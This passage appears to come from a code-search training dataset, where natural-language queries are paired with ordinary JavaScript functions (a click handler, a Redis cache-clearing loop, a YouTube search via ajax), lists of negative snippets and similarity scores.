bgp.play_now();\r\n}", "function RunTests() {\n var storeIds = [175, 42, 0, 9];\n var transactionIds = [9675, 23, 123, 7];\n\n storeIds.forEach(function(storeId) {\n transactionIds.forEach(function(transactionId) {\n var shortCode = generateShortCode(storeId, transactionId);\n var decodeResult = decodeShortCode(shortCode);\n $(\"#test-results\").append(\n \"<div>\" + storeId + \" - \" + transactionId + \": \" + shortCode + \"</div>\"\n );\n AddTestResult(\"Length <= 9\", shortCode.length <= 9);\n AddTestResult(\"Is String\", typeof shortCode === \"string\");\n AddTestResult(\"Is Today\", IsToday(decodeResult.shopDate));\n AddTestResult(\"StoreId\", storeId === decodeResult.storeId);\n AddTestResult(\"TransId\", transactionId === decodeResult.transactionId);\n });\n });\n}", "function runTests(){\n var test = currentTest();\n var error = {\n path: test.path,\n testName: test.name\n };\n\n try{\n test.func(helpers);\n } catch ( err ) {\n error.msg = err;\n error.contexts = textContexts;\n addError(error);\n advanceTests();\n }\n\n // if no initial errors, test eventually times out\n setTimeout(function(){\n error.contexts = textContexts;\n if ( currentTestError ) {\n error.msg = currentTestError;\n addError(error);\n }else if ( !currentTestCompleted ) {\n error.msg = \"Did not complete in time!\";\n addError(error);\n }\n advanceTests();\n }, test.timeout); \n }", "function STS(id)\n{\n var _FUNCTION_NAME_='STS';\n var action_url = fRoot+'/'+menuUrl+\"?level=testsuite&id=\"+id+args;\n // alert(args);\n parent.workframe.location = action_url;\n}", "run() {\n console.log('running');\n }", "function test() {\n runTests0();\n runTests1(); \n return true;\n}", "function run(__index) {\n __index++;\n\n var obj = tests[__index];\n // All data in the query gets the strings replaced which are placed into the config.json in the root directory.\n obj.data.data = jsonTools.parseConfigIntoJSONObject(config, obj.data.data);\n // Same for the REST API Link\n var parsed_request_url = jsonTools.parseConfigIntoTemplateString(config, obj.data.path);\n\n // Logging the Method and URL after Parse here\n console.log(obj.data.method + ' ' + parsed_request_url);\n\n fetch(parsed_request_url, {\n method: obj.data.method,\n body: JSON.stringify(obj.data.data),\n headers: { 'Content-Type': 'application/json' }\n })\n .then((result) => result.json())\n .then((json) => {\n console.log('\\n ' + JSON.stringify(json));\n console.log(' As expected? ' + (JSON.stringify(json)==JSON.stringify(obj.data.expected)) + '\\n');\n run(__index);\n })\n .catch((err) => {\n console.log('\\n' + ' Response was empty(probably, todo: more error handling)');\n console.log(' As expected? ' + (null==obj.data.expected) + '\\n');\n });\n}", "function runFile(test) {\n // load a test module from a file and pass in pep API as scope\n let file = Components.classes['@mozilla.org/file/local;1']\n .createInstance(Components.interfaces.nsILocalFile);\n file.initWithPath(test.path);\n let uri = gIOS.newFileURI(file).spec;\n \n // initialize test scope\n let testScope = new pep.PepAPI(test.name);\n \n utils.dumpLine('TEST-START ' + test.name);\n let startTime = Date.now();\n subscriptLoader.loadSubScript(uri, testScope);\n let runTime = Date.now() - startTime;\n utils.dumpLine('TEST-END ' + test.name + ' ' + runTime); \n}", "run(script) {\n console.log(`Running script '${script.title}'...`)\n if (script.type === 'simple-say') {\n console.log(`Running '${script.title}' as 'simple-say' script...`)\n return this.runSimpleSay(script)\n } else {\n console.warn('Unknown script type')\n }\n }", "async function startTests() {\n console.log(\"🎸 Built Source Code\");\n const time = new Date().getTime();\n const nodeTest = spawn(`${process.execPath}`, [`build/_tests/tests/test.js`]);\n\n nodeTest.stdout.on(\"data\", (data) => {\n console.log(`[TEST]: ${data}`);\n });\n\n nodeTest.stderr.on(\"data\", (data) => {\n console.error(`[TEST ERROR]: ${data}`);\n });\n\n nodeTest.on(\"close\", () => {\n console.log(`🎸 Test run finished in ${new Date().getTime() - time}ms`);\n if (!cliopts.watch) {\n process.exit();\n }\n });\n}", "function main() {\n const opts = {\n clientEmail: config.get('google.analyticsEmail'),\n // privateKey: analyticsConfig.private_key.replace(/\\\\n/g, '\\n'),\n viewID: config.get('google.analyticsViewId'),\n dbUrl: config.get('db.url'),\n };\n const goolgeAnalyticsController = new GoolgeAnalyticsController(opts);\n goolgeAnalyticsController.execute();\n}", "function testFunction() {\r\n console.log(\"myutil.js testFunction called\");\r\n}", "function testing() {\n console.log('Personalization App Loaded');\n}" ]
[ "0.6460882", "0.6444836", "0.63766164", "0.63546777", "0.6027321", "0.59846044", "0.5915856", "0.5914733", "0.59092575", "0.5770021", "0.5749253", "0.5711757", "0.57087046", "0.5688491", "0.5683527", "0.5646191", "0.5631317", "0.5612635", "0.55987906", "0.5595408", "0.5591652", "0.55764955", "0.5574403", "0.5572945", "0.5569455", "0.55549705", "0.5554279", "0.55491036", "0.55222654", "0.5520664", "0.55138284", "0.5508406", "0.5496092", "0.54954875", "0.5468872", "0.54517204", "0.54415745", "0.5436045", "0.54275405", "0.5420052", "0.54140675", "0.5413549", "0.54049885", "0.53994435", "0.5387164", "0.53841966", "0.5384066", "0.5380497", "0.53697336", "0.53653353", "0.535708", "0.5343357", "0.5341161", "0.5338674", "0.5334299", "0.53320146", "0.53268933", "0.53240746", "0.5318669", "0.5316974", "0.5312003", "0.53065896", "0.530592", "0.53057075", "0.5304294", "0.52805156", "0.5275614", "0.52690536", "0.52684295", "0.52645916", "0.52602947", "0.5258204", "0.5253414", "0.5248837", "0.52435625", "0.52316016", "0.5225227", "0.52247334", "0.52246606", "0.5224304", "0.5222895", "0.520887", "0.5199155", "0.5195822", "0.5191671", "0.51893634", "0.5189362", "0.5181196", "0.51775146", "0.51763475", "0.5175065", "0.5173498", "0.51712006", "0.5165776", "0.51608896", "0.5159148", "0.5158078", "0.51447934", "0.51445466", "0.51284015", "0.51207733" ]
0.0
-1
definicion de una funcion
function clic(){ // recuperacion de referencia de elemento h1 var caja = document.getElementsByTagName("h1")[0]; // incremento de la varible en 1 x++; // bloque de control if // verifica si la variable es par // si es par asigna un color al h1 // si no asigna otro color al h2 if (x%2 == 0) { caja.style.backgroundColor = '#808080'; } else { caja.style.backgroundColor = '#303030'; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function miFuncion(){}", "function miFuncion(){}", "function miFuncion(){}", "function miFuncion (){}", "function funcionPorDefinicion(){\n //Body\n }", "function fuctionPanier(){\n\n}", "function miFuncion(){\n\n}", "function fn() {\n\t\t }", "function lalalala() {\n\n}", "function fuction() {\n\n}", "function fm(){}", "function __func(){}", "function wa(){}", "function funcEjemplo() {\n console.log(\"Ejemplo de funcion opcional\");\n}", "function fun1( /*parametros opcionais*/ ){ /*retorno opcional*/ }", "function Func_s() {\n}", "function funcionParametro(fn) {\n\tfn();\n}", "function onloevha() {\n}", "function ea(){}", "function func(){\r\n\r\n}", "function fun() { }", "saludar(fn){\n console.log(`Hola me llamo ${this.nombre} ${this.apellido} y soy programador`)\n if(fn){\n fn(this.nombre,this.apellido, true)\n }\n }", "function iniciar() {\n \n }", "function Ha(){}", "function fun1(){} //toda a função de js retorna alguma coisa", "saludar(fn){\n console.log(`Hola me llamo ${this.nombre} ${this.apellido}`)\n if(fn){\n fn(this.nombre,this.apellido, false)\n }\n }", "function ba(){}", "function ba(){}", "function ba(){}", "function ba(){}", "function nombreFuncion(){\n \n}", "function cargarpista1 (){\n \n}", "function da(){}", "function da(){}", "function da(){}", "function one(){\n \n}", "function settingFunc() {\n\n}", "function blabla() {\n\n}", "saludar(fn){//recepcion de funcion\n var {nombre, apellido}=this //desgrloce de variables\n console.log(`Hola me llamo ${nombre} ${apellido}`)\n if(fn){\n fn(nombre, apellido, true)\n }\n }", "function FunctionUtils() {}", "function va(t,e){0}", "function Ejemplo(){return true}", "function fieMetFunctionAlsParameter(eenFunctie){\n console.log(\"zo meteen wordt de doorgegeven function uitgevoerd\");\n eenFunctie();\n}", "function FunctionProfile() {\r\n}", "function nombreFuncion(parametro){\n return \"regresan algo\"\n}", "function getFuncion(num) {\n if (num === void 0) { num = 1; }\n return 'Función normal de JS';\n}", "function fun1(){}", "function fun1(){}", "function Go_Funciones()\n {\n if( g_listar == 1 )\n {\n Get_Marca_Producto();\n }\n \n }", "function oi(){}", "function an(){}", "'ev'(env) {\n var args = this.args.map(function (a) {\n return a.ev(env);\n });\n\n for (var i = 0; i < args.length; i++) {\n if (args[i].is === 'undefined') {\n return {\n is: 'undefined',\n value: 'undefined'\n };\n }\n }\n\n if (this.name in CartoCSS.Tree.functions) {\n if (CartoCSS.Tree.functions[this.name].length <= args.length) {\n var val = CartoCSS.Tree.functions[this.name].apply(CartoCSS.Tree.functions, args);\n if (val === null) {\n env.error({\n message: 'incorrect arguments given to ' + this.name + '()',\n index: this.index,\n type: 'runtime',\n filename: this.filename\n });\n return {is: 'undefined', value: 'undefined'};\n }\n return val;\n } else {\n env.error({\n message: 'incorrect number of arguments for ' + this.name +\n '(). ' + CartoCSS.Tree.functions[this.name].length + ' expected.',\n index: this.index,\n type: 'runtime',\n filename: this.filename\n });\n return {\n is: 'undefined',\n value: 'undefined'\n };\n }\n } else {\n var fn = CartoCSS.Tree.Reference.mapnikFunctions[this.name];\n if (fn === undefined) {\n var functions = toPairs(CartoCSS.Tree.Reference.mapnikFunctions);\n // cheap closest, needs improvement.\n var name = this.name;\n var mean = functions.map(function (f) {\n return [f[0], CartoCSS.Tree.Reference.editDistance(name, f[0]), f[1]];\n }).sort(function (a, b) {\n return a[1] - b[1];\n });\n env.error({\n message: 'unknown function ' + this.name + '(), did you mean ' +\n mean[0][0] + '(' + mean[0][2] + ')',\n index: this.index,\n type: 'runtime',\n filename: this.filename\n });\n return {\n is: 'undefined',\n value: 'undefined'\n };\n }\n if (fn !== args.length &&\n // support variable-arg functions like `colorize-alpha`\n fn !== -1) {\n env.error({\n message: 'function ' + this.name + '() takes ' +\n fn + ' arguments and was given ' + args.length,\n index: this.index,\n type: 'runtime',\n filename: this.filename\n });\n return {\n is: 'undefined',\n value: 'undefined'\n };\n } else {\n // Save the evaluated versions of arguments\n this.args = args;\n return this;\n }\n }\n }", "function Pe(){}", "function executaFuncao (funcao){\n funcao();\n}", "function miFunction() {\n console.log(\"Esta primera funcion ha sido creado fuera de la clase\");\n}", "function miFuncion() { // function declaration Declarativas expresión \n return 3; \n}", "function ejemplo() {\n\tconsole.log(\"funcion de ejemplo!!\");\n}", "function fn() {}", "function TrackByFunction() { }", "function TrackByFunction() { }", "function exampleFunctionToRun(){\n\n }", "function Expt() {\r\n}", "function fie1(){\n console.log(\"fie1 wordt uitgevoerd\");\n}", "function dummy(){}", "function dummy(){}", "function dummy(){}", "function mojaFunkcija(){\n console.log('Zdarvo svete!');\n}", "function klikni(){\n console.log(\"kliknuto\");\n}", "function india() {\n console.log('warm');\n} //! Function declaration is defined during the parsing of the code", "function miFuncion(x) {\n\n return this.numero + x;\n\n}", "function PlcEvento (){\r\n\t\r\n}", "function Fo(t,e){0}", "function fun1 ( ) {}", "function TrackByFunction(){}", "function Maybach(){\n \n}", "function Interfaz(){}", "function saludar()\r\n{\r\n console.log('Hola Soy Una Funcion');\r\n}", "function imprimir4(fn){\n\n\t//Ejecutamos la funcion anonima\n\tfn();\n\n}", "init(param) {\n if (typeof param === 'function') {\n param(this);\n } else {\n\n }\n }", "function z(){// can be called as an API method\nD(),F()}", "function constroiEventos(){}", "function func1() {}", "handelSub() {\n console.log(\"im a normal function\");\n }", "function fun() {\r\n console.log('this is a funtion');\r\n}", "function bodoAmat(){\r\n console.log(\"Ini result Function Bodo Amat\");\r\n}", "function fun1( ) { }", "function mostrar() {}", "function mostrar() {}", "function func1(){ }", "function funcionamiento(){\n alert('Aun no tiene funcionamiento');\n}", "function funcionamiento(){\n alert('Aun no tiene funcionamiento');\n}", "function fun1(){ }", "function fun1(){ }", "function Macex() {\r\n}", "function Mod() {\r\n}", "function func1() { }", "function TrackByFunction() {}", "function TrackByFunction() {}", "function TrackByFunction() {}", "function customFunction() {\n //Statements\n }", "function iniFungsi(func) {\n func();\n func();\n\n return function () {\n console.log(\"Done!\");\n };\n}" ]
[ "0.7680014", "0.7680014", "0.7680014", "0.7659015", "0.74346", "0.73984426", "0.7128778", "0.70134455", "0.69198877", "0.68394244", "0.68262476", "0.68228066", "0.6822644", "0.6816357", "0.6760431", "0.6658447", "0.6643554", "0.66386366", "0.66195536", "0.658041", "0.65750206", "0.6564069", "0.65441006", "0.652283", "0.651963", "0.6517085", "0.64699465", "0.64699465", "0.64699465", "0.64699465", "0.64021534", "0.6361355", "0.6359134", "0.6359134", "0.6359134", "0.63449824", "0.6319635", "0.62735695", "0.6248818", "0.6217447", "0.61967796", "0.61959434", "0.6176984", "0.61766356", "0.6160553", "0.6138801", "0.61349154", "0.61349154", "0.61260086", "0.61196303", "0.6117644", "0.6115758", "0.60983825", "0.6081851", "0.6076026", "0.607156", "0.60461164", "0.6036202", "0.60347265", "0.60347265", "0.6027837", "0.6019697", "0.60162157", "0.6014025", "0.6014025", "0.6014025", "0.60140043", "0.6008112", "0.600802", "0.60074073", "0.6007068", "0.60029083", "0.6001603", "0.59886473", "0.59878516", "0.59769344", "0.5970529", "0.5969212", "0.5966633", "0.5966087", "0.5964184", "0.5963197", "0.59563714", "0.59471637", "0.59464824", "0.5940339", "0.59246546", "0.59246546", "0.592222", "0.59123296", "0.59123296", "0.5911062", "0.5911062", "0.5910746", "0.5909064", "0.5907547", "0.59050816", "0.59050816", "0.59050816", "0.5904248", "0.5902779" ]
0.0
-1
Pop a few keys from the set and clear them. Once they've been cleared, continue to pop keys and clear until the set has been emptied.
function cacheClearNowIteration() { var pops = []; for (var i = 0; i < clearsPerIteration; i++) { pops.push(redis('spop', [clearNowSet])); } return Promise.all(pops).then(function (popped) { var keysToClear = popped.filter(function (p) { return !!p; }); if (keysToClear && keysToClear.length) { log.debug('cache: [clearNow] iteration ' + keysToClear.length + ' keys'); return cacheClear({ keys: keysToClear }).then(function (clearInfo) { if (clearInfo && clearInfo.allKeysCleared) { keysClearedByIteration.push(clearInfo.allKeysCleared); } if (keysToClear.length !== clearsPerIteration) { return keysClearedByIteration; } return cacheClearNowIteration().then(function () { return keysClearedByIteration; }); }); } }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "clear() {\n\t\tlet e = this.first();\n\t\twhile (e != 0) { this.delete(e); e = this.first(); }\n\t}", "removeFromSet(set) {\n for (var i = 0; i < set.length; i++)\n if (set[i].type == this) {\n set = set.slice(0, i).concat(set.slice(i + 1));\n i--;\n }\n return set;\n }", "clear(){\n this.master = [];\n this.unpickedKeys = new Set([]);\n }", "clear() {\n var map = this._map;\n var keys = Object.keys(map);\n\n for (var i = 0; i < keys.length; i++) {\n var key = keys[i];\n map[key].clear();\n }\n }", "clear() {\n while (this.items.length) {\n this.items.pop();\n }\n }", "removeFromSet(set) {\n for (let i = 0; i < set.length; i++)\n if (this.eq(set[i]))\n return set.slice(0, i).concat(set.slice(i + 1));\n return set;\n }", "function clear() {\n this.keys.forEach((key) => {\n this._store[key] = undefined;\n delete this._store[key];\n });\n}", "function clear() {\n while( ids.length > 0 ) {\n ids.pop();\n }\n while( titles.length > 0 ) {\n titles.pop();\n }\n while( types.length > 0 ) {\n types.pop();\n }\n while( uris.length > 0 ) {\n uris.pop();\n }\n while( thumbUris.length > 0 ) {\n thumbUris.pop();\n }\n}", "function clear () {\n keys().each(function (cookie) {\n remove(cookie);\n });\n }", "async reset () {\n let keys = await this.client.zRange(this.ZSET_KEY, 0, -1);\n await this.safeDelete(keys);\n }", "function ejemploSet5(){\n let set = new Set([1,2,3,4,4,4,4,4,7,8,1]);\n console.log('set',set);\n console.log('has 4',set.has(4)); //true\n set.delete(4);\n console.log('has 4',set.has(4)); //false\n set.clear();\n console.log('size',set.size); //0\n}", "remove() {\n for (var key of this.keys) {\n this.elements[key].remove();\n }\n }", "function clearAll () {\n\n heldValue = null;\n heldOperation = null;\n nextValue = null;\n\n}", "function clearSoFarThisEntry() {\n while (soFarThisEntry.length > 0) {\n soFarThisEntry.shift();\n }\n}", "function _cleanupKeys()\n {\n if (this._count == this._keys.length) {\n return;\n }\n var srcIndex = 0;\n var destIndex = 0;\n var seen = {};\n while (srcIndex < this._keys.length) {\n var key = this._keys[srcIndex];\n if (_hasKey(this._map, key)\n && !_hasKey(seen, key)\n ) {\n this._keys[destIndex++] = key;\n seen[key] = true;\n }\n srcIndex++;\n }\n this._keys.length = destIndex;\n }", "clear_keydowns() {\n\t\tclear(this.keydowns);\n\t\tclear(this.quick_access);\n\t}", "function clearSet(event) {\n if(event) {\n delete setEvents[event];\n } else {\n setEvents = {};\n }\n }", "function clear()\r{\r\tvar end = mapping_names.length;\r\r\tfor(var i=end-1; i>=0; i--){\r\t\tremove(mapping_names[i]);\r\t}\r\twhile(mapping_names.pop());\r\twhile(mapping_sources.pop());\r\twhile(mapping_destinations.pop());\r\twhile(mapping_algorithms.pop());\r}", "clear () {\n\t\treturn this.cache.keys().then(keys =>\n\t\t\tPromise.all(keys.map(this.delete.bind(this)))\n\t\t);\n\t}", "reset() {\n\t\tthis.#keyslist.length = 0;\n\t}", "function x(e,t){for(;e.length>t;)delete M[e.shift()]}", "clear() {\n this.literals = new Set();\n this.state.forEach((row, y) => row.forEach((_, x) => this.setClear(x, y)));\n }", "function Clear()\n{\n\tUnspawnAll();\n\tavailable.Clear();\n\tall.Clear();\n}", "purgeSets() {\n this.children.forEach((subTrie) => {\n subTrie.wordSet.clear();\n subTrie.purgeSets();\n });\n }", "rem(key, member, cb){\n let set = this.setsMap.get(key),\n deleted = 0;\n\n if(set && set.delete(member)){\n deleted = 1;\n if(set.size === 0){\n this.setsMap.delete(key);\n }\n }\n\n cb && cb(null, deleted);\n }", "clear() {\n for (var i = this.length - 1; i >= 0; i--) {\n this.remove(i);\n }\n }", "async clear() {\n return await keyv.clear();\n }", "clear () {\n this._dict = {}\n this._stack = [this._dict]\n }", "clear() {\n for (const key of Object.keys(this.datastore)) {\n delete this.datastore[key];\n // this.remove(key);\n }\n }", "function clear() {\n stopBlink()\n currentKeys = []\n bottom.innerHTML = spannify('_')\n interval = setInterval(selector, 500)\n }", "function clearKeys(){\n\t$(\"#thekeys\").html(\"\");\n}", "function clearAll(){\r\n\tObject.keys(this.datastore).forEach((key)=>\r\n\t{\r\n\t\tdelete this.datastore[key];\r\n\t});\t\r\n}", "clear() {\n this._clear();\n this._clearPlus();\n }", "function DisposableSet() {\r\n this._disposed = false;\r\n this._items = new Set();\r\n }", "clear () {\n this._collections = {}\n this._collectionsIndex = {}\n }", "wipe() {\n\t\tfor (node of this.nodes) {\n\t\t\tfor (let box of node.boxes) {\n\t\t\t\tbox.destruct()\n\t\t\t}\n\t\t}\n\t\tthis.nodes = new Set()\n\t}", "clearSilent() {\n let me = this;\n\n me._items.splice(0, me.getCount());\n me.map.clear();\n }", "clear() {\n for (let i = 0; i < this.sizeNum; i++) {\n this.remove(i);\n }\n }", "function clear () {\n reloadList(\"W\");\n clearList(wltmp);\n writeList(\"W\");\n\n reloadList(\"B\");\n clearList(bltmp);\n writeList(\"B\");\n}", "function resetSettings() {\r\n\t\tvar keys = GM_listValues();\r\n\t\tfor (var i=0, key=null; key=keys[i]; i++) {\r\n\t\t\tGM_deleteValue(key);\r\n\t\t}\r\n\t}", "clear() {}", "clear() {}", "clear() {}", "function h$clearWeaks() {\n var mark = h$gcMark;\n ;\n for(var i=h$scannedWeaks.length-1;i>=0;i--) {\n var w = h$scannedWeaks[i];\n if(w.keym.m !== mark && w.val !== null) {\n ;\n w.val = null;\n }\n }\n}", "function clearCache() {\n\tvar vals = Store.listItems();\n window.console.log(\"Total stored: \" + vals.length + \" keys\");\n for (var i = 0; i < vals.length; i++) {\n window.console.log(\"Deleting \" + vals[i]);\n Store.deleteItem(vals[i]);\n\t}\n}", "clear() {\n this._unmarkAll();\n\n this._emitChangeEvent();\n }", "removeAll(silent) {\n const me = this,\n storage = me.storage;\n\n // No reaction to the storage Collection's change event.\n if (silent) {\n storage.suspendEvents();\n\n // If silent, the storage Collection won't fire the event we react to\n // to unjoin, and we allow the removing flag in remove() to be true,\n // so *it* will not do the unJoin, so if silent, so do it here.\n const allRecords = Object.values(me.idRegister);\n\n for (let i = allRecords.length - 1, rec; i >= 0; i--) {\n rec = allRecords[i];\n if (rec && !rec.isDestroyed) {\n rec.unJoinStore(me);\n }\n }\n }\n\n me.clear();\n\n if (silent) {\n storage.resumeEvents();\n }\n }", "clearQueueAndBag() {\n this.createNewBag()\n let previousQueueLength = this.queue.length\n for (let i = 0; i < previousQueueLength; i++) {\n this.popFromQueue()\n }\n }", "function allClear(){\n //Erase current stored number\n console.log(\"AC\");\n keyedValue = \"\";\n // Erase global array\n valuesToCalculate = [];\n //Set values to zero\n total = 0;\n}", "function clearAll() {\n for (let i = 0; i < 11; i++) {\n setNone(i);\n }\n running = false;\n }", "clear() {\n debug('Clearing all previously stashed events.');\n this._eventsStash = [];\n }", "function clearAll() {\n catQueue = new Queue();\n dogQueue = new Queue();\n userQueue = new Queue();\n }", "function destructivelyRemoveLastKitten(){\n kittens.pop();\n return kittens;\n}", "removeAll() {\n for (const id of this.compareList.keys()) {\n this._removeItem(id);\n }\n }", "function DisposableSet(items) {\n var _this = this;\n this._set = new Set();\n if (items)\n items.forEach(function (item) { return _this._set.add(item); });\n }", "clearKeys() {\n for (let obj in this.skillables) {\n this.skillables[obj].KEYS = this.skillables[obj].KEYS.filter(item => item !== \"skills\");\n }\n for (let obj in this.objects) {\n if ('KEYS' in this.objects[obj]) {\n this.objects[obj].KEYS.length = 0;\n }\n }\n }", "function clear()\n{\n\twhile(list.length){\n\t\tlist.pop();\n\t}\n\twhile(list_out.length){\n\t\tlist_out.pop();\n\t}\n\twhile(steps.length){\n\t\tsteps.pop();\n\t}\t\n\tvar num_steps = 0;\n}", "function filterPowerSet(powerSet) {\n delete powerSet[0]; //now powerSet[0] = undefined\n //each invalid combaination will be undefined\n for (var i = 1; i < powerSet.length; i++) {\n if (!validCombination(powerSet[i]))\n delete powerSet[i];\n }\n return removeUndefined(powerSet);\n}", "clearQueue()\n {\n this.insert = 0;\n this.end = 0;\n }", "clear() {\n for (const index of this.#rindexes({ allowStale: true })) {\n const v = this.#valList[index];\n if (this.#isBackgroundFetch(v)) {\n v.__abortController.abort(new Error('deleted'));\n }\n else {\n const k = this.#keyList[index];\n if (this.#hasDispose) {\n this.#dispose?.(v, k, 'delete');\n }\n if (this.#hasDisposeAfter) {\n this.#disposed?.push([v, k, 'delete']);\n }\n }\n }\n this.#keyMap.clear();\n this.#valList.fill(undefined);\n this.#keyList.fill(undefined);\n if (this.#ttls && this.#starts) {\n this.#ttls.fill(0);\n this.#starts.fill(0);\n }\n if (this.#sizes) {\n this.#sizes.fill(0);\n }\n this.#head = 0;\n this.#tail = 0;\n this.#free.length = 0;\n this.#calculatedSize = 0;\n this.#size = 0;\n if (this.#hasDisposeAfter && this.#disposed) {\n const dt = this.#disposed;\n let task;\n while ((task = dt?.shift())) {\n this.#disposeAfter?.(...task);\n }\n }\n }", "__removeOlderEntries() {\n const itemsToClear = Array.from(lastReadTimeForKey.keys()).slice(0, CACHE_ITEMS_TO_CLEAR_COUNT);\n itemsToClear.forEach((k)=>{\n cache.delete(k);\n lastReadTimeForKey.delete(k);\n });\n }", "function clearValues() {\n arrTurnBack = [];\n arrValues = [];\n }", "function clearObjects() {\n setMapOnAll(null);\n}", "clear() {\n this._holddownMap.clear();\n this._stopHolddownInterval();\n }", "clear() {\n this._exec(CLEAR);\n return this._push(CLEAR);\n }", "clear() {\n this.count_ = 0;\n this.entries_ = {};\n this.oldest_ = null;\n this.newest_ = null;\n }", "clear() {\n\t\tfor (let x = 1; x <= this.#m; x++) this.#pos[this.#item[x]] = 0;\n\t\tthis.#m = 0; this.#offset = 0;\n\t}", "clear() {\n const _ = this;\n _._map.clear();\n _._nameSet.clear();\n }", "clear() {\n this._unmarkAll();\n this._emitChangeEvent();\n }", "clear() {\n this._unmarkAll();\n this._emitChangeEvent();\n }", "clearEntry() {\n this._operation.pop();\n this.lastNumberToDisplay();\n }", "function clearAll() {\n while (taskContainer.firstChild) {\n taskContainer.removeChild(taskContainer.firstChild);\n }\n browser.storage.local.clear();\n}", "removeCrushes(setOfSetsOfCrushes) {\n for (let j = 0; j < setOfSetsOfCrushes.length; j++) {\n let set = setOfSetsOfCrushes[j];\n for (let k = 0; k < set.length; k++) {\n if (this.scoring) this.board.incrementScore(set[k], set[k].row, set[k].col);\n this.board.remove(set[k]);\n }\n }\n }", "clear() {\n this._.forEach((_, key) => {\n this._.set(key, { filtered: false, selected: false });\n });\n this._selectionCount = 0;\n this.lastSelection = undefined;\n return this;\n }", "clear() {\n const me = this,\n removed = me._values.slice();\n\n if (me.totalCount) {\n me._values.length = 0;\n\n if (me._filteredValues) {\n me._filteredValues.length = 0;\n }\n\n me._indicesInvalid = true; // Indicate to observers that data has changed.\n\n me.generation++;\n me.trigger('change', {\n action: 'clear',\n removed\n });\n }\n }", "clear() {\n log.map(\"Clearing the map of all the entries\");\n this._map.clear();\n }", "function clearAll(){\n for (let i = 0; i < playerMap.length; i++) {\n let scoreBox = document.getElementById('mainBord' + (i+1));\n scoreBox.innerHTML = \" \";\n }\n while (playerMap.length > 0){\n playerMap.pop();\n currentScoreArray.pop();\n }\n document.getElementById(\"find\").innerHTML = \" \";\n}", "clear() {\n this.groups = this.groups.slice(-1);\n this.groups[0].clear();\n this.emit('update');\n }", "async safeDelete (keys) {\n if (keys.length) {\n await this.client.multi().zRem(this.ZSET_KEY, keys).del(keys).exec();\n }\n\n return Promise.resolve();\n }", "function clearEntry () {\n\n nextValue = null;\n}", "clear() { }", "clear () {\n\t\tthis.head = null;\n\t\tthis.length = 0;\n\t}", "function clearArray(array) {\n while (array.length) {\n array.pop();\n }\n}", "clearEntry() {\n this._operation.pop();\n this.setLastNumberToDisplay();\n }", "reset() {\n this.map = new Map();\n this.size = 0;\n this.keys = [];\n this.cursor = -1;\n }", "function clearGuaranteedQueue(names){\r\n\tnames = names == '*' ? Object.keys(this._guaranteed_queue)\r\n\t\t: typeof(names) == typeof('str') ? names.split(/\\s+/g) \r\n\t\t: names\r\n\r\n\tvar that = this\r\n\tnames.forEach(function(name){\r\n\t\tif(name in that._guaranteed_queue){\r\n\t\t\tthat._guaranteed_queue[name] = []\r\n\t\t}\r\n\t})\r\n\r\n\treturn this\r\n}", "removeAll() {\r\n\t\t\tthis.remove();\r\n\t\t}", "function clean()\t{\n\tmyName = null;\n\tmyType = null;\n\tmyMin = null;\n\tmyMax = null;\n\twhile (items.length > 0)\t{\n\t\tthis.patcher.remove(items.shift());\n\t}\n}", "clear() {\n this.splice(0, this.getCount());\n }", "removeKeys(keys) {\n for (let key in keys) {\n this.unset(keys[key]);\n }\n return this.toObject();\n }", "function clearQueue() {\n // get item at front of queue and call fn\n var fn = queue.shift();\n if (fn) fn();\n\n // run again on next tick\n clearQueueLater();\n}", "clear () {\n\t\tthis.head = null;\n\t}", "clear () {\n\t\tthis.head = null;\n\t}", "clear () {\n\t\tthis.head = null;\n\t}", "reshuffle(){\n this.unpickedKeys = new Set([...this.master.keys()]);\n }", "clearAll() {\n return this.clear();\n }", "function clear() {\n\n myval = [];\n multiMarkov.clearAll();\n\n}", "async clear() {\n this.logger.trace(\"Clearing cache entries created by MSAL\");\n // read inMemoryCache\n const cacheKeys = this.getKeys();\n // delete each element\n cacheKeys.forEach(key => {\n this.removeItem(key);\n });\n this.emitChange();\n }", "clear(lo=0, hi=this.n+1) {\n\t\tfor (let i = lo; i < hi; i++) { this.#p[i] = i; this.#rank[i] = 0; }\n\t}", "function stackClear(){this.__data__=new ListCache();this.size=0;}" ]
[ "0.68246114", "0.6614377", "0.65403885", "0.6497755", "0.6427417", "0.6415949", "0.63859516", "0.63724655", "0.6367597", "0.62989724", "0.62255234", "0.61604095", "0.61587167", "0.61430144", "0.60540354", "0.5966839", "0.5961319", "0.5952207", "0.5882406", "0.58529186", "0.5840568", "0.5838837", "0.5833282", "0.58184695", "0.5781661", "0.57224685", "0.56533265", "0.5652231", "0.56491804", "0.5647444", "0.56428736", "0.5639482", "0.5628785", "0.5627976", "0.56196123", "0.5587139", "0.5556281", "0.55434465", "0.55434287", "0.55373", "0.55313045", "0.55313045", "0.55313045", "0.5521164", "0.55101025", "0.5508985", "0.5505736", "0.55039996", "0.5501643", "0.54988676", "0.5476072", "0.547343", "0.54629815", "0.54594666", "0.54553545", "0.54498625", "0.54498416", "0.5447668", "0.5447002", "0.54453623", "0.54313266", "0.54222965", "0.54221445", "0.54169667", "0.54162204", "0.541355", "0.5410497", "0.54076993", "0.540419", "0.540419", "0.5395883", "0.5384551", "0.5382811", "0.53780293", "0.53772575", "0.53762907", "0.5368036", "0.5362557", "0.5352973", "0.5338176", "0.53380686", "0.53256696", "0.53192675", "0.53166986", "0.53159994", "0.53069574", "0.53006566", "0.5297427", "0.52917445", "0.5290411", "0.5287781", "0.5281242", "0.5281242", "0.5281242", "0.52659684", "0.5262174", "0.5258051", "0.5257416", "0.525496", "0.52458787" ]
0.6094816
14
Search for a specified string.
function search() { var url = "youtube?q="+$('#q').val()+"&maxResults="+$('#maxResults').val(); if ($('#q').val() != "") { $.ajax({ url: url, dataType: "json", timeout: 10000, success: function (response) { console.log(response); $('#search-list').html(response.htmlBody); }, error: function () { alert("Error getting from server") } }).done(function (resp) { }); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
